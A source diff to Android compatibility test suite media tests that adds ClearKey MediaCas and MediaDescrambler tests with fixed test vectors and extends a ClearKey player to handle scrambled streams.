+import java.util.regex.Pattern;
+
+@SmallTest
+@RequiresDevice
+public class MediaCasTest extends AndroidTestCase {
+    private static final String TAG = "MediaCasTest";
+
+    // CA System Ids used for testing
+    private static final int sInvalidSystemId = 0;
+    private static final int sClearKeySystemId = 0xF6D8;
+
+    // ClearKey CAS/Descrambler test vectors
+    private static final String sProvisionStr =
+            "{                                                   " +
+            "  \"id\": 21140844,                                 " +
+            "  \"name\": \"Test Title\",                         " +
+            "  \"lowercase_organization_name\": \"Android\",     " +
+            "  \"asset_key\": {                                  " +
+            "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  " +
+            "  },                                                " +
+            "  \"cas_type\": 1,                                  " +
+            "  \"track_types\": [ ]                              " +
+            "}                                                   " ;
+
+    private static final String sEcmBufferStr =
+            "00 00 01 f0 00 50 00 01  00 00 00 01 00 46 00 00" +
+            "00 02 00 00 00 00 00 01  00 00 27 10 02 00 01 77" +
+            "01 42 95 6c 0e e3 91 bc  fd 05 b1 60 4f 17 82 a4" +
+            "86 9b 23 56 00 01 00 00  00 01 00 00 27 10 02 00" +
+            "01 77 01 42 95 6c d7 43  62 f8 1c 62 19 05 c7 3a" +
+            "42 cd fd d9 13 48                               " ;
+
+    private static final String sInputBufferStr =
+            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
+            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
+            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
+            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
+            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
+            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
+            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
+            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
+            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
+            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
+            "6d 6c 6e 45 21 82 38 f0  9d 7d 96 e6 94 ae e2 87" +
+            "8f 04 49 e5 f6 8c 8b 9a  10 18 ba 94 e9 22 31 04" +
+            "7e 60 5b c4 24 00 90 62  0d dc 85 74 75 78 d0 14" +
+            "08 cb 02 1d 7d 9d 34 e8  81 b9 f7 09 28 79 29 8d" +
+            "e3 14 ed 5f ca af f4 1c  49 15 e1 80 29 61 76 80" +
+            "43 f8 58 53 40 d7 31 6d  61 81 41 e9 77 9f 9c e1" +
+            "6d f2 ee d9 c8 67 d2 5f  48 73 e3 5c cd a7 45 58" +
+            "bb dd 28 1d 68 fc b4 c6  f6 92 f6 30 03 aa e4 32" +
+            "f6 34 51 4b 0f 8c f9 ac  98 22 fb 49 c8 bf ca 8c" +
+            "80 86 5d d7 a4 52 b1 d9  a6 04 4e b3 2d 1f b8 35" +
+            "cc 45 6d 9c 20 a7 a4 34  59 72 e3 ae ba 49 de d1" +
+            "aa ee 3d 77 fc 5d c6 1f  9d ac c2 15 66 b8 e1 54" +
+            "4e 74 93 db 9a 24 15 6e  20 a3 67 3e 5a 24 41 5e" +
+            "b0 e6 35 87 1b c8 7a f9  77 65 e0 01 f2 4c e4 2b" +
+            "a9 64 96 96 0b 46 ca ea  79 0e 78 a3 5f 43 fc 47" +
+            "6a 12 fa c4 33 0e 88 1c  19 3a 00 c3 4e b5 d8 fa" +
+            "8e f1 bc 3d b2 7e 50 8d  67 c3 6b ed e2 ea a6 1f" +
+            "25 24 7c 94 74 50 49 e3  c6 58 2e fd 28 b4 c6 73" +
+            "b1 53 74 27 94 5c df 69  b7 a1 d7 f5 d3 8a 2c 2d" +
+            "b4 5e 8a 16 14 54 64 6e  00 6b 11 59 8a 63 38 80" +
+            "76 c3 d5 59 f7 3f d2 fa  a5 ca 82 ff 4a 62 f0 e3" +
+            "42 f9 3b 38 27 8a 89 aa  50 55 4b 29 f1 46 7c 75" +
+            "ef 65 af 9b 0d 6d da 25  94 14 c1 1b f0 c5 4c 24" +
+            "0e 65                                           " ;
+
+    private static final String sExpectedOutputBufferStr =
+            "00 00 00 01 09 f0 00 00  00 01 67 42 c0 1e db 01" +
+            "40 16 ec 04 40 00 00 03  00 40 00 00 0f 03 c5 8b" +
+            "b8 00 00 00 01 68 ca 8c  b2 00 00 01 06 05 ff ff" +
+            "70 dc 45 e9 bd e6 d9 48  b7 96 2c d8 20 d9 23 ee" +
+            "ef 78 32 36 34 20 2d 20  63 6f 72 65 20 31 34 32" +
+            "20 2d 20 48 2e 32 36 34  2f 4d 50 45 47 2d 34 20" +
+            "41 56 43 20 63 6f 64 65  63 20 2d 20 43 6f 70 79" +
+            "6c 65 66 74 20 32 30 30  33 2d 32 30 31 34 20 2d" +
+            "20 68 74 74 70 3a 2f 2f  77 77 77 2e 76 69 64 65" +
+            "6f 6c 61 6e 2e 6f 72 67  2f 78 32 36 34 2e 68 74" +
+            "6d 6c 20 2d 20 6f 70 74  69 6f 6e 73 3a 20 63 61" +
+            "62 61 63 3d 30 20 72 65  66 3d 32 20 64 65 62 6c" +
+            "6f 63 6b 3d 31 3a 30 3a  30 20 61 6e 61 6c 79 73" +
+            "65 3d 30 78 31 3a 30 78  31 31 31 20 6d 65 3d 68" +
+            "65 78 20 73 75 62 6d 65  3d 37 20 70 73 79 3d 31" +
+            "20 70 73 79 5f 72 64 3d  31 2e 30 30 3a 30 2e 30" +
+            "30 20 6d 69 78 65 64 5f  72 65 66 3d 31 20 6d 65" +
+            "5f 72 61 6e 67 65 3d 31  36 20 63 68 72 6f 6d 61" +
+            "5f 6d 65 3d 31 20 74 72  65 6c 6c 69 73 3d 31 20" +
+            "38 78 38 64 63 74 3d 30  20 63 71 6d 3d 30 20 64" +
+            "65 61 64 7a 6f 6e 65 3d  32 31 2c 31 31 20 66 61" +
+            "73 74 5f 70 73 6b 69 70  3d 31 20 63 68 72 6f 6d" +
+            "61 5f 71 70 5f 6f 66 66  73 65 74 3d 2d 32 20 74" +
+            "68 72 65 61 64 73 3d 36  30 20 6c 6f 6f 6b 61 68" +
+            "65 61 64 5f 74 68 72 65  61 64 73 3d 35 20 73 6c" +
+            "69 63 65 64 5f 74 68 72  65 61 64 73 3d 30 20 6e" +
+            "72 3d 30 20 64 65 63 69  6d 61 74 65 3d 31 20 69" +
+            "6e 74 65 72 6c 61 63 65  64 3d 30 20 62 6c 75 72" +
+            "61 79 5f 63 6f 6d 70 61  74 3d 30 20 63 6f 6e 73" +
+            "74 72 61 69 6e 65 64 5f  69 6e 74 72 61 3d 30 20" +
+            "62 66 72 61 6d 65 73 3d  30 20 77 65 69 67 68 74" +
+            "70 3d 30 20 6b 65 79 69  6e 74 3d 32 35 30 20 6b" +
+            "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
+            "6e 65                                           " ;
+
+    /**
+     * Test that all enumerated CA systems can be instantiated.
+     *
+     * Due to the vendor-proprietary nature of CAS, we cannot verify all operations
+     * of an arbitrary plugin. We can only verify that isSystemIdSupported() is
+     * consistent with the enumeration results, and all enumerated CA system ids can
+     * be instantiated.
+     */
+    public void testEnumeratePlugins() throws Exception {
+        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
+        for (int i = 0; i < descriptors.length; i++) {
+            Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
+                    + ", name=" + descriptors[i].getName());
+            MediaCas mediaCas = null;
+            MediaDescrambler descrambler = null;
+            byte[] sessionId = null, streamSessionId = null;
+            try {
+                final int CA_system_id = descriptors[i].getSystemId();
+                if (!MediaCas.isSystemIdSupported(CA_system_id)) {
+                    fail("Enumerated " + descriptors[i] + " but is not supported.");
+                }
+                mediaCas = new MediaCas(CA_system_id);
+                if (mediaCas == null) {
+                    fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaCas.");
+                }
+                descrambler = new MediaDescrambler(CA_system_id);
+                if (descrambler == null) {
+                    fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaDescrambler.");
+                }
+
+                // Should always accept a listener (even if the plugin doesn't use it)
+                mediaCas.setEventListener(new MediaCas.EventListener() {
+                    @Override
+                    public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
+                        Log.d(TAG, "Received MediaCas event: "
+                                + "event=" + event + ", arg=" + arg + ", data=" + data);
+                    }
+                }, null);
+            } finally {
+                if (mediaCas != null) {
+                    mediaCas.close();
+                }
+                if (descrambler != null) {
+                    descrambler.close();
+                }
+            }
+        }
+    }
+
+    public void testInvalidSystemIdFails() throws Exception {
+        assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
+                MediaCas.isSystemIdSupported(sInvalidSystemId));
+
+        MediaCas unsupportedCAS = null;
+        MediaDescrambler unsupportedDescrambler = null;
+
+        try {
+            try {
+                unsupportedCAS = new MediaCas(sInvalidSystemId);
+                fail("Shouldn't be able to create MediaCas with invalid id " + sInvalidSystemId);
+            } catch (UnsupportedCasException e) {
+                // expected
+            }
+
+            try {
+                unsupportedDescrambler = new MediaDescrambler(sInvalidSystemId);
+                fail("Shouldn't be able to create MediaDescrambler with invalid id " + sInvalidSystemId);
+            } catch (UnsupportedCasException e) {
+                // expected
+            }
+        } finally {
+            if (unsupportedCAS != null) {
+                unsupportedCAS.close();
+            }
+            if (unsupportedDescrambler != null) {
+                unsupportedDescrambler.close();
+            }
+        }
+    }
+
+    public void testClearKeyPluginInstalled() throws Exception {
+        PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
+        for (int i = 0; i < descriptors.length; i++) {
+            if (descriptors[i].getSystemId() == sClearKeySystemId) {
+                return;
+            }
+        }
+        fail("ClearKey plugin " + String.format("0x%d", sClearKeySystemId) + " is not found");
+    }
+
+    /**
+     * Test that valid call sequences succeed.
+     */
+    public void testClearKeyApis() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            mediaCas = new MediaCas(sClearKeySystemId);
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+
+            mediaCas.provision(sProvisionStr);
+
+            byte[] pvtData = new byte[256];
+            mediaCas.setPrivateData(pvtData);
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            session.setPrivateData(pvtData);
+
+            Session streamSession = mediaCas.openSession();
+            if (streamSession == null) {
+                fail("Can't open session for stream");
+            }
+            streamSession.setPrivateData(pvtData);
+
+            descrambler.setMediaCasSession(session);
+
+            descrambler.setMediaCasSession(streamSession);
+
+            mediaCas.refreshEntitlements(3, null);
+
+            byte[] refreshBytes = new byte[4];
+            refreshBytes[0] = 0;
+            refreshBytes[1] = 1;
+            refreshBytes[2] = 2;
+            refreshBytes[3] = 3;
+
+            mediaCas.refreshEntitlements(10, refreshBytes);
+
+            final HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+            testEventEcho(mediaCas, 1, 2, null /* data */, handler);
+            thread.interrupt();
+
+            String eventDataString = "event data string";
+            byte[] eventData = eventDataString.getBytes();
+            testEventEcho(mediaCas, 3, 4, eventData, null /* handler */);
+
+            String emm = "clear key emm";
+            byte[] emmData = emm.getBytes();
+            mediaCas.processEmm(emmData);
+
+            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
+            session.processEcm(ecmData);
+            streamSession.processEcm(ecmData);
+
+            ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+            ByteBuffer expectedOutputBuf = ByteBuffer.wrap(
+                    loadByteArrayFromString(sExpectedOutputBufferStr));
+            assertTrue("Incorrect decryption result",
+                    expectedOutputBuf.compareTo(outputBuf) == 0);
+
+            session.close();
+            streamSession.close();
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    /**
+     * Test that all sessions are closed after a MediaCas object is released.
+     */
+    public void testClearKeySessionClosedAfterRelease() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            mediaCas = new MediaCas(sClearKeySystemId);
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+            mediaCas.provision(sProvisionStr);
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            Session streamSession = mediaCas.openSession();
+            if (streamSession == null) {
+                fail("Can't open session for stream");
+            }
+
+            mediaCas.close();
+            mediaCas = null;
+
+            try {
+                descrambler.setMediaCasSession(session);
+                fail("Program session not closed after MediaCas is released");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+            try {
+                descrambler.setMediaCasSession(streamSession);
+                fail("Stream session not closed after MediaCas is released");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    /**
+     * Test that invalid call sequences fail with expected exceptions.
+     */
+    public void testClearKeyExceptions() throws Exception {
+        MediaCas mediaCas = null;
+        MediaDescrambler descrambler = null;
+
+        try {
+            mediaCas = new MediaCas(sClearKeySystemId);
+            descrambler = new MediaDescrambler(sClearKeySystemId);
+
+            /*
+             * Test MediaCas exceptions
+             */
+
+            // provision should fail with an invalid asset string
+            try {
+                mediaCas.provision("invalid asset string");
+                fail("provision shouldn't succeed with invalid asset");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "provision throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // processEmm should reject invalid offset and length
+            String emm = "clear key emm";
+            byte[] emmData = emm.getBytes();
+            try {
+                mediaCas.processEmm(emmData, 8, 40);
+            } catch (ArrayIndexOutOfBoundsException e) {
+                Log.d(TAG, "processEmm throws ArrayIndexOutOfBoundsException (as expected)");
+            }
+
+            // open a session, then close it so that it should become invalid
+            Session invalidSession = mediaCas.openSession();
+            if (invalidSession == null) {
+                fail("Can't open session for program");
+            }
+            invalidSession.close();
+
+            byte[] ecmData = loadByteArrayFromString(sEcmBufferStr);
+
+            // processEcm should fail with an invalid session id
+            try {
+                invalidSession.processEcm(ecmData);
+                fail("processEcm shouldn't succeed with invalid session id");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            Session session = mediaCas.openSession();
+            if (session == null) {
+                fail("Can't open session for program");
+            }
+
+            // processEcm should fail without provisioning
+            try {
+                session.processEcm(ecmData);
+                fail("processEcm shouldn't succeed without provisioning");
+            } catch (MediaCasException.NotProvisionedException e) {
+                Log.d(TAG, "processEcm throws NotProvisionedException (as expected)");
+            }
+
+            // Now provision it, and expect failures other than NotProvisionedException
+            mediaCas.provision(sProvisionStr);
+
+            // processEcm should fail with ecm buffer that's too short
+            try {
+                session.processEcm(ecmData, 0, 8);
+                fail("processEcm shouldn't succeed with truncated ecm");
+            } catch (IllegalArgumentException e) {
+                Log.d(TAG, "processEcm throws " + e.toString() + " (as expected)");
+            }
+
+            // processEcm should fail with ecm with bad descriptor count
+            try {
+                ecmData[17] = 3; // change the descriptor count field to 3 (invalid)
+                session.processEcm(ecmData);
+                fail("processEcm shouldn't succeed with altered descriptor count");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "processEcm throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            /*
+             * Test MediaDescrambler exceptions
+             */
+
+            // setMediaCasSession should fail with an invalid session id
+            try {
+                descrambler.setMediaCasSession(invalidSession);
+                fail("setMediaCasSession shouldn't succeed with invalid session id");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "setMediaCasSession throws "
+                        + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // descramble should fail without a valid session
+            try {
+                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+                fail("descramble should fail without a valid session");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+
+            // Now set a valid session, should still fail because no valid ecm is processed
+            descrambler.setMediaCasSession(session);
+            try {
+                ByteBuffer outputBuf = descrambleTestInputBuffer(descrambler);
+                fail("descramble should fail without valid ecm");
+            } catch (MediaCasStateException e) {
+                Log.d(TAG, "descramble throws " + e.getDiagnosticInfo() + " (as expected)");
+            }
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+            if (descrambler != null) {
+                descrambler.close();
+            }
+        }
+    }
+
+    private class TestEventListener implements MediaCas.EventListener {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final MediaCas mMediaCas;
+        private final int mEvent;
+        private final int mArg;
+        private final byte[] mData;
+        private boolean mIsIdential;
+
+        TestEventListener(MediaCas mediaCas, int event, int arg, byte[] data) {
+            mMediaCas = mediaCas;
+            mEvent = event;
+            mArg = arg;
+            mData = data;
+        }
+
+        boolean waitForResult() {
+            try {
+                if (!mLatch.await(1, TimeUnit.SECONDS)) {
+                    return false;
+                }
+                return mIsIdential;
+            } catch (InterruptedException e) {}
+            return false;
+        }
+
+        @Override
+        public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
+            Log.d(TAG, "Received MediaCas event: event=" + event
+                    + ", arg=" + arg + ", data=" + data);
+            if (mediaCas == mMediaCas && event == mEvent
+                    && arg == mArg && Arrays.equals(data, mData)) {
+                mIsIdential = true;
+            }
+            mLatch.countDown();
+        }
+    }
+
+    // helper to send an event and wait for echo
+    private void testEventEcho(MediaCas mediaCas, int event,
+            int arg, byte[] data, Handler handler) throws Exception {
+        TestEventListener listener = new TestEventListener(mediaCas, event, arg, data);
+        mediaCas.setEventListener(listener, handler);
+        mediaCas.sendEvent(event, arg, data);
+        assertTrue("Didn't receive event callback for " + event, listener.waitForResult());
+    }
+
+    // helper to descramble from the sample input (sInputBufferStr) and get output buffer
+    private ByteBuffer descrambleTestInputBuffer(
+            MediaDescrambler descrambler) throws Exception {
+        MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
+        int[] numBytesOfClearData     = new int[] { 162,   0,   0 };
+        int[] numBytesOfEncryptedData = new int[] {   0, 184, 184 };
+        byte[] key = new byte[16];
+        key[0] = 2; // scrambling mode = even key
+        byte[] iv = new byte[16]; // not used
+        cryptoInfo.set(3, numBytesOfClearData, numBytesOfEncryptedData,
+                key, iv, MediaCodec.CRYPTO_MODE_AES_CBC);
+        ByteBuffer inputBuf = ByteBuffer.wrap(
+                loadByteArrayFromString(sInputBufferStr));
+        ByteBuffer outputBuf = ByteBuffer.allocate(inputBuf.capacity());
+        descrambler.descramble(inputBuf, outputBuf, cryptoInfo);
+
+        return outputBuf;
+    }
+
+    // helper to load byte[] from a String
+    private byte[] loadByteArrayFromString(final String str) {
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+          tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index 3d0a32b..0ea3ae0 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -16,7 +16,6 @@
 package android.media.cts;
 
 import android.content.pm.PackageManager;
-import android.cts.util.MediaUtils;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.AudioCapabilities;
@@ -36,7 +35,9 @@
 import android.os.Build;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.IOException;
 import java.util.HashSet;
@@ -54,12 +55,8 @@
     private static final int TIMEOUT_US = 1000000;  // 1 sec
     private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
 
-    private final MediaCodecList mRegularCodecs =
-            new MediaCodecList(MediaCodecList.REGULAR_CODECS);
     private final MediaCodecList mAllCodecs =
             new MediaCodecList(MediaCodecList.ALL_CODECS);
-    private final MediaCodecInfo[] mRegularInfos =
-            mRegularCodecs.getCodecInfos();
     private final MediaCodecInfo[] mAllInfos =
             mAllCodecs.getCodecInfos();
 
@@ -215,7 +212,7 @@
         if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
             return; // skip
         }
-        if (Build.VERSION.SDK_INT < 18) {
+        if (ApiLevelUtil.isBefore(18)) {
             MediaUtils.skipTest(TAG, "fragmented mp4 not supported");
             return;
         }
@@ -388,7 +385,7 @@
         // check if there is an adaptive decoder for each
         for (String mime : supportedFormats) {
             skipped = false;
-            // implicit assumption that QVGA video is always valid.
+            // implicit assumption that QCIF video is always valid.
             MediaFormat format = MediaFormat.createVideoFormat(mime, 176, 144);
             format.setFeatureEnabled(CodecCapabilities.FEATURE_AdaptivePlayback, true);
             String codec = mAllCodecs.findDecoderForFormat(format);
@@ -498,7 +495,7 @@
                 MediaFormat format = null;
                 try {
                     codec = MediaCodec.createByCodecName(info.getName());
-                    // implicit assumption that QVGA video is always valid.
+                    // implicit assumption that QCIF video is always valid.
                     format = createReasonableVideoFormat(caps, mime, isEncoder, 176, 144);
                     format.setInteger(
                             MediaFormat.KEY_COLOR_FORMAT,
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java
index 1d95463..bd62d87 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecClearKeyPlayer.java
@@ -19,11 +19,15 @@
 import android.content.res.AssetFileDescriptor;
 import android.media.AudioManager;
 import android.media.DrmInitData;
+import android.media.MediaCas;
+import android.media.MediaCasException;
+import android.media.MediaCasException.UnsupportedCasException;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
 import android.media.MediaCrypto;
 import android.media.MediaCryptoException;
+import android.media.MediaDescrambler;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.net.Uri;
@@ -60,6 +64,7 @@
     private boolean mEncryptedVideo;
     private volatile boolean mThreadStarted = false;
     private byte[] mSessionId;
+    private boolean mScrambled;
     private CodecState mAudioTrackState;
     private int mMediaFormatHeight;
     private int mMediaFormatWidth;
@@ -72,6 +77,8 @@
     private Map<String, String> mVideoHeaders;
     private Map<UUID, byte[]> mPsshInitData;
     private MediaCrypto mCrypto;
+    private MediaCas mMediaCas;
+    private MediaDescrambler mDescrambler;
     private MediaExtractor mAudioExtractor;
     private MediaExtractor mVideoExtractor;
     private SurfaceHolder mSurfaceHolder;
@@ -81,15 +88,31 @@
     private Resources mResources;
 
     private static final byte[] PSSH = hexStringToByteArray(
-            "0000003470737368" +  // BMFF box header (4 bytes size + 'pssh')
-            "01000000" +          // Full box header (version = 1 flags = 0)
-            "1077efecc0b24d02" +  // SystemID
-            "ace33c1e52e2fb4b" +
-            "00000001" +          // Number of key ids
-            "60061e017e477e87" +  // Key id
-            "7e57d00d1ed00d1e" +
-            "00000000"            // Size of Data, must be zero
-            );
+            // BMFF box header (4 bytes size + 'pssh')
+            "0000003470737368" +
+            // Full box header (version = 1 flags = 0
+            "01000000" +
+            // SystemID
+            "1077efecc0b24d02ace33c1e52e2fb4b" +
+            // Number of key ids
+            "00000001" +
+            // Key id
+            "30303030303030303030303030303030" +
+            // size of data, must be zero
+            "00000000");
+
+    // ClearKey CAS/Descrambler test provision string
+    private static final String sProvisionStr =
+            "{                                                   " +
+            "  \"id\": 21140844,                                 " +
+            "  \"name\": \"Test Title\",                         " +
+            "  \"lowercase_organization_name\": \"Android\",     " +
+            "  \"asset_key\": {                                  " +
+            "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  " +
+            "  },                                                " +
+            "  \"cas_type\": 1,                                  " +
+            "  \"track_types\": [ ]                              " +
+            "}                                                   " ;
 
     /**
      * Convert a hex string into byte array.
@@ -108,8 +131,9 @@
      * Media player class to stream CENC content using MediaCodec class.
      */
     public MediaCodecClearKeyPlayer(
-            SurfaceHolder holder, byte[] sessionId, Resources resources) {
+            SurfaceHolder holder, byte[] sessionId, boolean scrambled, Resources resources) {
         mSessionId = sessionId;
+        mScrambled = scrambled;
         mSurfaceHolder = holder;
         mResources = resources;
         mState = STATE_IDLE;
@@ -127,6 +151,9 @@
                         Log.d(TAG, "Thread interrupted");
                     }
                 }
+                if (mAudioTrackState != null) {
+                    mAudioTrackState.stop();
+                }
             }
         });
     }
@@ -157,11 +184,11 @@
             if (drmInitData != null) {
                 DrmInitData.SchemeInitData schemeInitData = drmInitData.get(CLEARKEY_SCHEME_UUID);
                 if (schemeInitData != null && schemeInitData.data != null) {
-                    return schemeInitData.data;
+                    // llama content still does not contain pssh data, return hard coded PSSH
+                    return (schemeInitData.data.length > 1)? schemeInitData.data : PSSH;
                 }
             }
         }
-        // TODO
         // Should not happen after we get content that has the clear key system id.
         return PSSH;
     }
@@ -218,6 +245,13 @@
             Log.d(TAG, "video track #" + i + " " + format + " " + mime +
                   " Width:" + mMediaFormatWidth + ", Height:" + mMediaFormatHeight);
 
+            if (mScrambled && mime.startsWith("video/")) {
+                MediaExtractor.CasInfo casInfo = mVideoExtractor.getCasInfo(i);
+                if (casInfo != null && casInfo.getSession() != null) {
+                    mDescrambler.setMediaCasSession(casInfo.getSession());
+                }
+            }
+
             if (!hasVideo) {
                 mVideoExtractor.selectTrack(i);
                 addTrack(i, format, mEncryptedVideo);
@@ -239,11 +273,10 @@
                 }
             }
         }
-        return;
     }
 
     private void setDataSource(MediaExtractor extractor, Uri uri, Map<String, String> headers)
-            throws IOException {
+            throws IOException, MediaCasException {
         String scheme = uri.getScheme();
         if (scheme.startsWith("http")) {
             extractor.setDataSource(uri.toString(), headers);
@@ -256,26 +289,25 @@
         }
     }
 
-    public void prepare() throws IOException, MediaCryptoException {
-        if (null == mAudioExtractor) {
-            mAudioExtractor = new MediaExtractor();
-            if (null == mAudioExtractor) {
-                Log.e(TAG, "Cannot create Audio extractor.");
-                return;
+    private void initCasAndDescrambler(MediaExtractor extractor) throws MediaCasException {
+        int trackCount = extractor.getTrackCount();
+        for (int trackId = 0; trackId < trackCount; trackId++) {
+            android.media.MediaFormat format = extractor.getTrackFormat(trackId);
+            String mime = format.getString(android.media.MediaFormat.KEY_MIME);
+            Log.d(TAG, "track "+ trackId + ": " + mime);
+            if ("video/scrambled".equals(mime) || "audio/scrambled".equals(mime)) {
+                MediaExtractor.CasInfo casInfo = extractor.getCasInfo(trackId);
+                if (casInfo != null) {
+                    mMediaCas = new MediaCas(casInfo.getSystemId());
+                    mDescrambler = new MediaDescrambler(casInfo.getSystemId());
+                    mMediaCas.provision(sProvisionStr);
+                    extractor.setMediaCas(mMediaCas);
+                }
             }
         }
+    }
 
-        if (null == mVideoExtractor){
-            mVideoExtractor = new MediaExtractor();
-            if (null == mVideoExtractor) {
-                Log.e(TAG, "Cannot create Video extractor.");
-                return;
-            }
-        }
-
-        setDataSource(mAudioExtractor, mAudioUri, mAudioHeaders);
-        setDataSource(mVideoExtractor, mVideoUri, mVideoHeaders);
-
+    public void prepare() throws IOException, MediaCryptoException, MediaCasException {
         if (null == mCrypto && (mEncryptedVideo || mEncryptedAudio)) {
             try {
                 byte[] initData = new byte[0];
@@ -288,8 +320,29 @@
             mCrypto.setMediaDrmSession(mSessionId);
         } else {
             reset();
-            mCrypto.release();
-            mCrypto = null;
+        }
+
+        if (null == mAudioExtractor) {
+            mAudioExtractor = new MediaExtractor();
+            if (null == mAudioExtractor) {
+                Log.e(TAG, "Cannot create Audio extractor.");
+                return;
+            }
+        }
+        setDataSource(mAudioExtractor, mAudioUri, mAudioHeaders);
+
+        if (mScrambled) {
+            initCasAndDescrambler(mAudioExtractor);
+            mVideoExtractor = mAudioExtractor;
+        } else {
+            if (null == mVideoExtractor){
+                mVideoExtractor = new MediaExtractor();
+                if (null == mVideoExtractor) {
+                    Log.e(TAG, "Cannot create Video extractor.");
+                    return;
+                }
+            }
+            setDataSource(mVideoExtractor, mVideoUri, mVideoHeaders);
         }
 
         if (null == mVideoCodecStates) {
@@ -325,11 +378,19 @@
             codec = MediaCodec.createDecoderByType(mime);
         }
 
-        codec.configure(
-                format,
-                isVideo ? mSurfaceHolder.getSurface() : null,
-                mCrypto,
-                0);
+        if (!mScrambled) {
+            codec.configure(
+                    format,
+                    isVideo ? mSurfaceHolder.getSurface() : null,
+                    mCrypto,
+                    0);
+        } else {
+            codec.configure(
+                    format,
+                    isVideo ? mSurfaceHolder.getSurface() : null,
+                    0,
+                    isVideo ? mDescrambler : null);
+        }
 
         CodecState state;
         if (isVideo) {
@@ -483,6 +544,16 @@
             mCrypto = null;
         }
 
+        if (mMediaCas != null) {
+            mMediaCas.close();
+            mMediaCas = null;
+        }
+
+        if (mDescrambler != null) {
+            mDescrambler.close();
+            mDescrambler = null;
+        }
+
         mDurationUs = -1;
         mState = STATE_IDLE;
     }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index a88f133..f65e52d 100644
